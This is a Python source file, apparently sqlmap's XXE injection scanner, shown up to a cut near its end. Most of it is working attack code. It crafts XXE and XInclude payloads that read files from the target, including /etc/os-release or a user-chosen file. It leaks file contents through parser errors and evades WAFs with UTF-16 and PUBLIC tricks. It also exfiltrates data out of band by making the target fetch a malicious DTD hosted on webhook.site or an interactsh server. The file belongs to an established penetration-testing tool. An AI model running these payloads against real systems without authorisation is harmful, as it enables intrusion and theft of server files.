mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-06 16:36:53 +00:00
777 lines
35 KiB
Python
777 lines
35 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import re
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import time
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from lib.core.common import beep
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from lib.core.common import dataToOutFile
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import singleTimeWarnMessage
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from lib.core.convert import getBytes
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from lib.core.convert import getText
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from lib.core.convert import getUnicode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.dicts import POST_HINT_CONTENT_TYPES
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from lib.core.enums import CUSTOM_LOGGING
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from lib.core.enums import HTTP_HEADER
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from lib.core.enums import HTTPMETHOD
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from lib.core.settings import ASTERISK_MARKER
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from lib.core.settings import XXE_BLACKHOLE_HOST
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from lib.core.settings import XXE_ERROR_SIGNATURES
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from lib.core.settings import XXE_HARDENED_REGEX
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from lib.core.settings import XXE_IMPACT_FILES
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from lib.core.settings import OOB_POLL_ATTEMPTS
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from lib.core.settings import OOB_POLL_DELAY
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from lib.core.settings import XXE_LOCAL_DTDS
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from lib.core.settings import XXE_TIME_THRESHOLD
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from lib.request.connect import Connect as Request
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# Fresh per-scan sentinel token. Deliberately a random opaque string (never
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# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
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# so its presence in a response is unambiguously our reflected/expanded value.
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SENTINEL = randomStr(length=12, lowercase=True)
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# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'),
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# it is preserved as this placeholder and used as the SOLE injection spot, instead of
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# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
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_MARKER = None
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# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
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_OOB_CONSENT = None
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# First element of the document (skipping the <?xml?> prolog, comments and any
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# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
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_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
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# A leaf text node: >text< with no markup/entities inside. Used to place an
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# entity reference where the application is most likely to echo it back.
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_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<")
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def _looksXml(data):
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data = (getText(data) or "").strip()
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return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
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def _toSystemId(path):
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"""Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
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consistently across every tier."""
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p = getText(path or "").strip()
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if "://" in p:
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return p
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return "file:///" + p.replace("\\", "/").lstrip("/")
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def _toResource(path):
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"""Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
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p = getText(path or "").strip()
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if p.startswith("file://"):
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p = p[len("file://"):]
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p = p.replace("\\", "/")
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if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
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return p.lstrip("/")
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return "/" + p.lstrip("/")
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def _cleanBody():
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"""Return the original request body with sqlmap's injection marks removed.
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Order matters: drop the injected custom marks first (any literal '*' from the
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original body was already escaped to ASTERISK_MARKER by target processing),
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then restore those escaped asterisks."""
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global _MARKER
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_MARKER = None
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data = getText(conf.data or "")
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mark = kb.customInjectionMark or "\x00"
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if kb.get("processUserMarks") and mark in data:
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# user chose the injection point explicitly - honour it as the SOLE spot
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_MARKER = "xxemark%s" % randomStr(10, lowercase=True)
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data = data.replace(mark, _MARKER, 1).replace(mark, "")
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else:
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data = data.replace(mark, "")
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data = data.replace(ASTERISK_MARKER, "*")
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return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
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def _rootName(xml):
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stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL)
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stripped = re.sub(r"<!--.*?-->", "", stripped, flags=re.DOTALL)
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stripped = re.sub(r"<!DOCTYPE[^>]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL)
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match = _ROOT_RE.search(stripped)
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return match.group(1) if match else None
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def _auxHeaders():
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"""Send an XML content-type unless the user already pinned one (via -H/-r)."""
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for name, _ in (conf.httpHeaders or []):
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if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower():
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return None
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return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"}
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def _send(body):
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"""Issue one request with a fully-crafted XML body, preserving sqlmap's normal
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request machinery (URL, cookies, headers, proxy, delay) for everything else."""
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if conf.delay:
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time.sleep(conf.delay)
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if _MARKER and not isinstance(body, bytes) and _MARKER in body:
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body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
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try:
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if conf.verbose >= 3:
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logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
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page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True)
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return page or ""
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except Exception as ex:
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logger.debug("XXE probe request failed: %s" % getUnicode(ex))
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return ""
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def _buildDoctype(xml, rootName, internalSubset):
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"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
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A document may already declare a DOCTYPE - injecting a second one is invalid
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XML and every parser rejects it, so we splice into the existing declaration
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instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
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existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
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if existing:
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# Splice our declarations into the existing internal subset.
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insertAt = xml.index('[', existing.start()) + 1
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return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
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subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
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if subsetless:
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# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
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# add an internal subset before its closing '>' (both may legally coexist).
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close = xml.index('>', subsetless.start())
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return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
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doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
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prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
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if prolog:
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end = prolog.end()
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return xml[:end] + "\n" + doctype + xml[end:]
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return doctype + "\n" + xml
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def _placeRef(xml, snippet, attrs=False):
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"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
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text node - not just the first - so detection does not depend on which field the
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application happens to reflect. When `attrs` is set (internal-entity tier only),
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also seed existing attribute values, since a general internal entity legally
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expands inside an attribute (external entity refs do NOT - never seed attributes
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for the external/XInclude tiers or the document becomes ill-formed). Falls back to
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injecting just before the root's closing tag when there is no text node at all."""
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if _MARKER and _MARKER in xml:
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return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
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start = re.search(r"\]>", xml).end() if "]>" in xml else 0
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head, tail = xml[:start], xml[start:]
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tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
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if attrs:
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# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
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# whose rewriting would break the document. Only touches simple, entity-free
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# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
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tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
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lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
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count += acount
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if count:
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return head + tail
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rootName = _rootName(xml)
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if rootName:
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close = "</%s>" % rootName
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if close in xml:
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idx = xml.rindex(close)
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return xml[:idx] + snippet + xml[idx:]
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# self-closing root: <root/> -> <root>snippet</root>
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selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml)
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if selfClose:
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tag = selfClose.group(0)
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opened = tag[:-2] + ">" + snippet + close
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return xml[:selfClose.start()] + opened + xml[selfClose.end():]
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return xml
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def _fingerprint(page):
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page = getUnicode(page or "")
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for family, regex in XXE_ERROR_SIGNATURES:
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if re.search(regex, page):
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return family
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return None
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def _echoed(page):
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"""True when the response mirrors our markup back (a debug/echo endpoint that
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never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration
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we send, an echo would otherwise look like a genuine reflected/error hit. We match
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the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and
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percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is
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still recognised as an echo regardless of whether decodePage normalised it."""
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page = getUnicode(page or "").lower()
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for kw in ("!doctype", "!entity"):
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for lt in ("<", "<", "<", "<", "%3c", "\\u003c"):
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if lt + kw in page:
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return True
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return False
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def _report(title, payload):
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if conf.beep:
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beep()
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place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
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conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
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def _dumpFileRead(remoteFile, content):
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"""Save an XXE-read file to the output directory (parity with '--file-read') and
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list it; fall back to a console dump if the file cannot be written."""
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try:
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localPath = dataToOutFile(remoteFile, getBytes(content))
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if localPath:
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conf.dumper.rFile([localPath])
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return
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except Exception as ex:
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logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
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conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
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def _tryInternal(xml, rootName, baseline):
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"""T2 in-band: an internal general entity expands to the sentinel and is
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reflected. Guarded by a negative control (sentinel absent from baseline) and
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a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
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app merely mirrors the body without parsing entities)."""
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ent = randomStr(length=8, lowercase=True)
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subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
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payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
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page = _send(payload)
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if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
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return payload, page
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return None, page
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def _confirmRead(page, pattern, baseline):
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"""Return the first response line that matches a known file-content signature
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and is absent from the baseline. The baseline guard is essential: it stops a
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generic short reply (e.g. 'received', 'ok') from matching a loose pattern."""
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baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines())
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for line in getUnicode(page).splitlines():
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line = line.strip()
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if line and line not in baselineLines and re.search(pattern, line):
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return line
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return None
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def _tryInbandFileRead(xml, rootName, fileName):
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"""Read an arbitrary file IN-BAND on a reflective target: place the external
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entity between two random markers so the exact file content can be sliced out
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of the response regardless of surrounding template. Raw file:// works for text
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files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
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the file content or None."""
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from lib.core.convert import decodeBase64
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m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
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for systemId, isB64 in ((_toSystemId(fileName), False),
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("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
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ent = randomStr(8, lowercase=True)
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subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
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payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
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page = getUnicode(_send(payload))
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match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
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if not match:
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continue
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data = match.group(1)
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if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
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continue
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if isB64:
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try:
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data = getText(decodeBase64(data.strip()))
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except Exception:
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continue
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if data and data.strip():
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return data
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return None
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def _tryExternalFile(xml, rootName, baseline):
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"""Impact demonstration once XXE is live: read a benign host-identity file via
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an external general entity. Returns (systemId, snippet) on a confirmed read."""
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for systemId, pattern in XXE_IMPACT_FILES:
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ent = randomStr(length=8, lowercase=True)
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subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
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payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
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snippet = _confirmRead(_send(payload), pattern, baseline)
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if snippet:
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return systemId, snippet
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return None, None
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def _tryPhpFilter(xml, rootName, baseline):
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"""PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
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impact demonstration -> reads /etc/os-release; it deliberately never probes
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/etc/passwd here (a specific file is read only on explicit '--file-read')."""
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from lib.core.convert import decodeBase64
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baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
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for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
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ent = randomStr(length=8, lowercase=True)
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subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource)
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payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
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page = _send(payload)
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for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)):
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if token in baselineTokens:
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continue
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try:
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decoded = getText(decodeBase64(token))
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except Exception:
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continue
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if decoded and re.search(pattern, decoded, re.M):
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return payload
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return None
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def _tryError(xml, rootName):
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"""T3 error-based: a parameter entity points at a non-existent path carrying
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the sentinel. Confirmed when the sentinel surfaces inside a parser error."""
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subset = '<!ENTITY %% xxe SYSTEM "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
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payload = _buildDoctype(xml, rootName, subset)
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page = _send(payload)
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if SENTINEL in page and not _echoed(page):
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return payload, page
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return None, page
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def _tryLocalDtd(xml, rootName):
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"""T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its
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parameter entities to load a sentinel path, and read the sentinel back out of
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the resulting parser error - no outbound network required."""
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for dtdPath, entName in XXE_LOCAL_DTDS:
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subset = (
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'<!ENTITY %% local_dtd SYSTEM "%s">\n'
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"<!ENTITY %% %s '<!ENTITY % xxe SYSTEM \"file:///%s/nonexistent\">%xxe;'>\n"
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"%%local_dtd;"
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) % (dtdPath, entName, SENTINEL)
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payload = _buildDoctype(xml, rootName, subset)
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page = _send(payload)
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if SENTINEL in page and not _echoed(page):
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return payload, page
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return None, ""
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def _tryErrorExfil(xml, rootName, errorChannel=False):
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"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
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message embeds the target file's contents (not just a sentinel). Two vehicles:
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(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
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the exfil service -> needs egress to fetch it plus verbose errors, so it is only
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attempted when an error channel was already confirmed (else it is pointless and
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just burns third-party requests). php://filter base64 carries a whole multi-line
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file intact; raw file:// leaks the first line. Returns (content, filename)."""
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from lib.core.convert import decodeBase64
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fileName = conf.get("fileRead")
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if not fileName:
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return None, None
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marker = randomStr(10, lowercase=True)
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# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
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reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
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(_toSystemId(fileName), False))
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def _extract(page, isB64):
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pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
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match = re.search(pattern, getUnicode(page))
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if not match:
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return None
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if isB64:
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try:
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return getText(decodeBase64(match.group(1))) or None
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except Exception:
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return None
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return match.group(1)
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# (a) local-DTD repurposing - no egress
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for dtdPath, entName in XXE_LOCAL_DTDS:
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for systemId, isB64 in reads:
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inner = ('<!ENTITY % file SYSTEM "%s">'
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'<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///%s/%file;'>">'
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'%eval;%error;') % (systemId, marker)
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subset = '<!ENTITY %% local_dtd SYSTEM "%s">\n<!ENTITY %% %s \'%s\'>\n%%local_dtd;' % (dtdPath, entName, inner)
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content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64)
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if content:
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return content, fileName
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# (b) DTD we host on the exfil service - egress + verbose errors (third party):
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# skip on a blind target (no error channel) and without explicit OOB consent
|
|
if not (errorChannel and _oobConsent()):
|
|
return None, None
|
|
from lib.request.webhooksite import WebhookSite
|
|
wh = WebhookSite()
|
|
for systemId, isB64 in reads:
|
|
dtd = ('<!ENTITY %% file SYSTEM "%s">\n'
|
|
'<!ENTITY %% eval "<!ENTITY % error SYSTEM \'file:///%s/%%file;\'>">\n'
|
|
'%%eval;\n%%error;') % (systemId, marker)
|
|
token = wh.newToken(dtd)
|
|
if not token:
|
|
break
|
|
content = _extract(_send(_buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(token))), isB64)
|
|
if content:
|
|
return content, fileName
|
|
|
|
return None, None
|
|
|
|
|
|
def _tryXInclude(xml, rootName, baseline):
|
|
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
|
|
text. Confirmed when the file content appears in the response (baseline-guarded)."""
|
|
|
|
for systemId, pattern in XXE_IMPACT_FILES:
|
|
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
|
|
payload = _placeRef(xml, snippet)
|
|
confirmed = _confirmRead(_send(payload), pattern, baseline)
|
|
if confirmed:
|
|
return payload, systemId, confirmed
|
|
return None, None, None
|
|
|
|
|
|
def _tryEvasions(xml, rootName, baseline):
|
|
"""T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail.
|
|
Each transform keeps the payload semantically identical while defeating a
|
|
common naive filter, so a reachable-but-filtered parser can still be caught.
|
|
Returns (title, payload) on a confirmed hit."""
|
|
|
|
# (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while
|
|
# ASCII byte-signature WAFs (grepping for "<!ENTITY"/"SYSTEM") miss it.
|
|
ent = randomStr(length=8, lowercase=True)
|
|
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
|
|
body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
|
|
page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike
|
|
if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline:
|
|
return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body)
|
|
|
|
# (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist
|
|
# the SYSTEM identifier; the second literal is still the resolved system id.
|
|
subset = '<!ENTITY %% xxe PUBLIC "-//sqlmap//XXE//EN" "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
|
|
body = _buildDoctype(xml, rootName, subset)
|
|
page = _send(body)
|
|
if SENTINEL in page and not _echoed(page):
|
|
return "Error-based via PUBLIC keyword (WAF evasion)", body
|
|
|
|
return None, None
|
|
|
|
|
|
def _timed(body, timeout):
|
|
"""One request, returning wall-clock seconds. ignoreTimeout keeps a stalled
|
|
parser from raising, so the elapsed time itself is the signal."""
|
|
start = time.time()
|
|
try:
|
|
Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(),
|
|
raise404=False, silent=True, ignoreTimeout=True, timeout=timeout)
|
|
except Exception:
|
|
pass
|
|
return time.time() - start
|
|
|
|
|
|
def _tryTimeBlind(xml, rootName):
|
|
"""T6 last-resort blind detection with NO collector: an external parameter
|
|
entity aimed at a non-routable TEST-NET host stalls a fetching parser on the
|
|
connection. Confirmed only on a large, reproducible delay measured against a
|
|
DTD-processing control (an internal parameter entity, no fetch) - so DTD
|
|
overhead alone cannot trip it and only the outbound-fetch stall counts."""
|
|
|
|
control = _buildDoctype(xml, rootName, '<!ENTITY %% c "x">\n%%c;')
|
|
baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout))
|
|
threshold = baseline + XXE_TIME_THRESHOLD
|
|
probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3)
|
|
|
|
# Bound each stalled probe: the per-call timeout kwarg does not reach a pooled
|
|
# socket, so cap via conf.timeout (the value the connection actually uses) and
|
|
# drop conf.retries so a stall is not re-sent. Restored in finally.
|
|
_timeout, _retries = conf.timeout, conf.retries
|
|
conf.timeout, conf.retries = probeTimeout, 0
|
|
try:
|
|
subset = '<!ENTITY %% x SYSTEM "http://%s/%s">\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL)
|
|
payload = _buildDoctype(xml, rootName, subset)
|
|
|
|
if _timed(payload, probeTimeout) < threshold:
|
|
return None
|
|
if _timed(payload, probeTimeout) < threshold: # must reproduce
|
|
return None
|
|
return payload
|
|
finally:
|
|
conf.timeout, conf.retries = _timeout, _retries
|
|
|
|
|
|
def _oobEnabled():
|
|
"""False when the user opted out of OOB entirely (`--oob-server none`)."""
|
|
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
|
|
|
|
|
|
def _oobConsent():
|
|
"""True only when the user has opted into contacting a third-party OOB service:
|
|
either explicitly (`--oob-server <host>`) or by answering the one-time prompt,
|
|
which defaults to NO - so '--batch' never silently phones a public service."""
|
|
global _OOB_CONSENT
|
|
if not _oobEnabled():
|
|
return False
|
|
if conf.get("oobServer"):
|
|
return True
|
|
if _OOB_CONSENT is None:
|
|
message = "do you want sqlmap to use a public out-of-band service "
|
|
message += "(interactsh/webhook.site) for blind XXE? [y/N] "
|
|
_OOB_CONSENT = readInput(message, default='N', boolean=True)
|
|
return _OOB_CONSENT
|
|
|
|
|
|
def _tryOobExfil(xml, rootName):
|
|
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
|
|
a public content+logging service (webhook.site), point the target's parser at
|
|
it, and read the file it ships back out. The DTD uses the classic nested
|
|
parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64
|
|
so any file survives the callback URL. The DTD-fetch itself doubles as blind
|
|
detection. Reads conf.fileRead if given, else a benign default. Returns a dict
|
|
{payload, filename, content, detected} or None if the service is unusable."""
|
|
|
|
from lib.core.convert import decodeBase64
|
|
from lib.request.webhooksite import WebhookSite
|
|
|
|
fileName = conf.get("fileRead")
|
|
if not fileName:
|
|
return None
|
|
|
|
wh = WebhookSite()
|
|
exfilToken = wh.newToken()
|
|
if not exfilToken:
|
|
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
|
|
return None
|
|
|
|
marker = randomStr(10, lowercase=True)
|
|
# Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
|
|
# space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
|
|
# and webhook.site logs the raw request URL, which we regex back out.
|
|
exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
|
|
dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
|
|
'<!ENTITY %% eval "<!ENTITY % exfil SYSTEM \'%s\'>">\n'
|
|
'%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
|
|
dtdToken = wh.newToken(dtd)
|
|
if not dtdToken:
|
|
return None
|
|
|
|
singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint)
|
|
payload = _buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(dtdToken))
|
|
_send(payload)
|
|
|
|
content, detected = None, False
|
|
pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
|
|
for _ in range(OOB_POLL_ATTEMPTS):
|
|
time.sleep(OOB_POLL_DELAY)
|
|
for record in wh.captured(exfilToken):
|
|
match = pattern.search(getText(record.get("url") or ""))
|
|
if match:
|
|
try:
|
|
content = getText(decodeBase64(match.group(1)))
|
|
except Exception:
|
|
content = match.group(1)
|
|
break
|
|
if content:
|
|
break
|
|
if not detected and wh.captured(dtdToken):
|
|
detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil
|
|
|
|
if not detected:
|
|
detected = bool(wh.captured(dtdToken))
|
|
return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
|
|
|
|
|
|
def _tryOob(xml, rootName):
|
|
"""T7 blind confirmation via an out-of-band collector (interactsh): an external
|
|
parameter entity points at a unique callback URL. If the target's parser fetches
|
|
it (or even just resolves its DNS), the collector records the interaction and we
|
|
poll it back - definitive proof of blind XXE with egress, and it names the
|
|
channel (HTTP vs DNS-only). Returns (payload, protocol) or None."""
|
|
|
|
from lib.request.interactsh import Interactsh, hasCrypto
|
|
|
|
if not hasCrypto():
|
|
logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)")
|
|
return None
|
|
|
|
client = Interactsh(server=conf.get("oobServer"))
|
|
if not client.registered:
|
|
logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)")
|
|
return None
|
|
|
|
singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server)
|
|
try:
|
|
url = client.url()
|
|
subset = '<!ENTITY %% oob SYSTEM "%s">\n%%oob;' % url
|
|
payload = _buildDoctype(xml, rootName, subset)
|
|
_send(payload)
|
|
interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY)
|
|
if interactions:
|
|
protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions))
|
|
return payload, ", ".join(protocols)
|
|
finally:
|
|
client.close()
|
|
return None
|
|
|
|
|
|
def xxeScan():
|
|
global SENTINEL, _OOB_CONSENT
|
|
SENTINEL = randomStr(length=12, lowercase=True)
|
|
_OOB_CONSENT = None
|
|
|
|
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
|
|
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
|
|
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
|
|
logger.debug(debugMsg)
|
|
|
|
xml = _cleanBody()
|
|
if not _looksXml(xml):
|
|
logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')")
|
|
return
|
|
|
|
rootName = _rootName(xml)
|
|
if not rootName:
|
|
logger.error("could not locate the document root element in the XML body")
|
|
return
|
|
|
|
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
|
|
|
|
baseline = _send(xml)
|
|
found = False
|
|
|
|
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
|
|
# processes entities; it is NOT yet external-entity file-read impact - so the
|
|
# finding is worded conservatively and escalated only if an actual read follows.
|
|
payload, page = _tryInternal(xml, rootName, baseline)
|
|
if payload:
|
|
found = True
|
|
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
|
|
_report("In-band DTD/internal entity expansion", payload)
|
|
|
|
if conf.get("fileRead"):
|
|
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
|
|
if content:
|
|
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
|
|
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
|
|
_dumpFileRead(conf.fileRead, content)
|
|
else:
|
|
# benign, in-band impact demonstration (data stays in the response, no third party)
|
|
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
|
|
if not systemId:
|
|
snippet = _tryPhpFilter(xml, rootName, baseline)
|
|
systemId = "php://filter" if snippet else None
|
|
if systemId:
|
|
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
|
|
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
|
|
|
|
# T3: error-based (works where entities are not reflected but errors leak)
|
|
errorChannel = False
|
|
if not found:
|
|
payload, page = _tryError(xml, rootName)
|
|
if payload:
|
|
found = errorChannel = True
|
|
backend = _fingerprint(page) or "Generic XML"
|
|
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
|
|
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
|
|
|
|
# T3b: no-egress error-based via local-DTD repurposing
|
|
if not found:
|
|
payload, page = _tryLocalDtd(xml, rootName)
|
|
if payload:
|
|
found = errorChannel = True
|
|
backend = _fingerprint(page) or "Generic XML"
|
|
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
|
|
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
|
|
|
|
# T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
|
|
# The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
|
|
# both a confirmed error channel (pointless on a blind target) and OOB consent.
|
|
if conf.get("fileRead"):
|
|
content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
|
|
if content:
|
|
found = True
|
|
logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
|
|
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
|
|
_dumpFileRead(fileName, content)
|
|
|
|
# T4: XInclude fallback (no DOCTYPE/entity control needed)
|
|
if not found:
|
|
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
|
|
if payload:
|
|
found = True
|
|
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
|
|
_report("XInclude file read ('%s')" % systemId, payload)
|
|
|
|
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM)
|
|
if not found:
|
|
title, payload = _tryEvasions(xml, rootName, baseline)
|
|
if title:
|
|
found = True
|
|
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
|
|
_report(title, payload)
|
|
|
|
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host
|
|
if not found:
|
|
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
|
|
payload = _tryTimeBlind(xml, rootName)
|
|
if payload:
|
|
found = True
|
|
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
|
|
_report("Time-based blind (external entity to non-routable host)", payload)
|
|
|
|
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO).
|
|
# Low-impact callback confirmation is the default; actual file exfiltration is
|
|
# attempted only when the user explicitly asked for a file via '--file-read'.
|
|
if not found and _oobConsent():
|
|
if conf.get("fileRead"):
|
|
exfil = _tryOobExfil(xml, rootName)
|
|
if exfil and (exfil["content"] or exfil["detected"]):
|
|
found = True
|
|
if exfil["content"]:
|
|
logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
|
|
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
|
|
_dumpFileRead(exfil["filename"], exfil["content"])
|
|
else:
|
|
logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
|
|
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
|
|
else:
